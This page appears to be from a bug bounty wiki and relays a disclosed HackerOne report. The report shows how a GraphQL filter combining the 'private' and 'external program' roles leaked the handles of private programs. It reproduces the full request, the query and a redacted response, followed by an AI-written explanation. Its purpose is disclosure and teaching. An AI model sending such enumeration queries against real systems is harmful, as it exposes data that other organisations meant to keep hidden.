Disclosure handle private program with external link
A GraphQL query on the platform returned private programs that also have a published external program, exposing their handles. An attacker with an account could enumerate private program handles that were meant to stay hidden.
Originally disclosed on HackerOne
- Triaged in 12 days
- Fixed in 30 days
- Paid in 30 days
- Disclosed after 30 days
Summary: Hi team.
It looks like we can identify private programs that have an external link
Steps To Reproduce
POST /graphql HTTP/1.1
Host: hackerone.com
Connection: close
Content-Length: 168
accept: */*
X-Auth-Token: your_token
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36
content-type: application/json
Origin: https://hackerone.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: your_cookie
{"query":"{teams(last:100,where:{_and:[{roles:is_has_published_external_program},{roles:is_private}]}){total_count,nodes{_id,handle,state,participants{total_count}}}}"}
Answer:
{"data":{"teams":{"total_count":153,"nodes":[{"_id":"███████","handle":"████","state":null,"participants":null},.....REDACT....{"_id":"49805","handle":"security-test-ep-invite-only","state":null,"participants":null},"handle":"█████","state":null,"participants":null}]}}}
As we can see program for proof : @security-test-ep-invite-only If this is the correct answer, then there are a total of 153 private programs with external links
Thanks!
Impact
Disclosure handle private program with external link
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the GraphQL filter combined the 'private' and 'has published external program' roles without restricting results to programmes the user is allowed to see.
Impact
Private program handles could be disclosed, revealing the existence and names of programmes that were meant to stay hidden.
What the attacker needed
An authenticated account; access to the GraphQL endpoint
How it was found
- Send a GraphQL query to the platform's endpoint with an authenticated token.
- Filter teams where the roles include both a published external program and private.
- Read the returned handles of private programs from the response.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A private program is a bug bounty programme that is not publicly listed, so its name (handle) is supposed to be secret. The researcher found that a search query on the platform could still return those private programmes when they also had a public external page, revealing their names.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.